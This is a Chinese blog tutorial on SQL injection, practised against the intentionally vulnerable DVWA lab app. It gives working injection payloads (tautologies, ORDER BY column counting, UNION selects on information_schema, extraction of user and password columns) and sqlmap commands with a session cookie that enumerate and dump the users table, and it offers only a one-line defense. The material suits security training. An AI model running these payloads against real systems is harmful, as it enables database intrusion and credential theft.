首页 > 数据库 >sqlinject

sqlinject

时间:2024-11-20 11:06:48浏览次数:1  
标签:name sqlinject -- SQL id select users

SQL注入

SQL注入也叫SQL注码,发生于应用程序与数据库层的安全漏洞。在设计的不良程序中,忽略了字符串检查,那么这些注入的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行。

例如

查询用户的SQL语句

select first_name,last_name from users where user_id='1' and 1=1#'

select first_name,last_name from users where user_id='1' or 1=1#'

斜体表示输入的内容,1总是等于1所以会被查询出来全部,#表示去掉后面有影响的SQL

怎么利用SQL注入漏洞

  1. 判断列数/字段数 order by [column_num]
  2. select first_name,last_name from users where user_id='1' order by 1#'
  3. 如果第一列存在肯定有输出,依次增加order by 的Num
  4. select first_name,last_name from users where user_id='1' union select user(),database()#'显示当前数据库连接用户和数据库名称
  5. select first_name,last_name from users where user_id='1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#'
  6. 发现有users表,找到users表
  7. select first_name,last_name from users where user_id='1' union select user,password from users#'

SQLMap

  1. 官网sqlmap.org
  2. sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" --dbs 获取所有数据库名称
  3. sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" -D dvwa --tables 获取数据库中的所有表 -D表示数据库
  4. sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" -D dvwa -T users --columns 获取users表中的所有列
  5. sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" -D dvwa -T users --dump 获取users表中的所有数据,后续可以选择是否破解密码

防御

过滤手动输入的内容,不让输入SQL语句

标签:name,sqlinject,--,SQL,id,select,users
From: https://www.cnblogs.com/daylan/p/18556488

相关文章

  • mybatis-plus配置自定义sqlInjector(使用InsertBatchSomeColumn),出现Invalid bound stat
    项目一开始未引入mybatis-plus,使用的是mybatis,配置文件为xml,有一个配置类中配置了SqlSessionFactory的相关内容。引入mybatis-plus后,想使用InsertBatchSomeColumn遇到Invalidboundstatement(notfound),多处配置发现没有效果并依旧报错,最终在刚才的配置类中的SqlSessionFact......
  • MySqlInjector 加不到springboot
    MySqlInjector加不到SpringBootSpringBoot是一个快速开发框架,它简化了Java应用程序的配置和部署过程。然而,有时我们可能会遇到一些问题,例如无法将MySqlInjector加到SpringBoot项目中。本文将介绍如何解决这个问题,并提供代码示例。问题描述当我们尝试将MySqlInjecto......
  • SqlInjection
    SQL注入一、漏洞简介结构化查询语言(StructuredQueryLanguage,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范......
  • 代码审计(Java)——WebGoat_SqlInjection
    一、SqlInjection_introduction1.这里level1-8就不说了,都是介绍+简单的sql语句,直接上level9这里可以看到,是给出了选择框的一道题,OWASP真不错,生怕你不会哈哈~......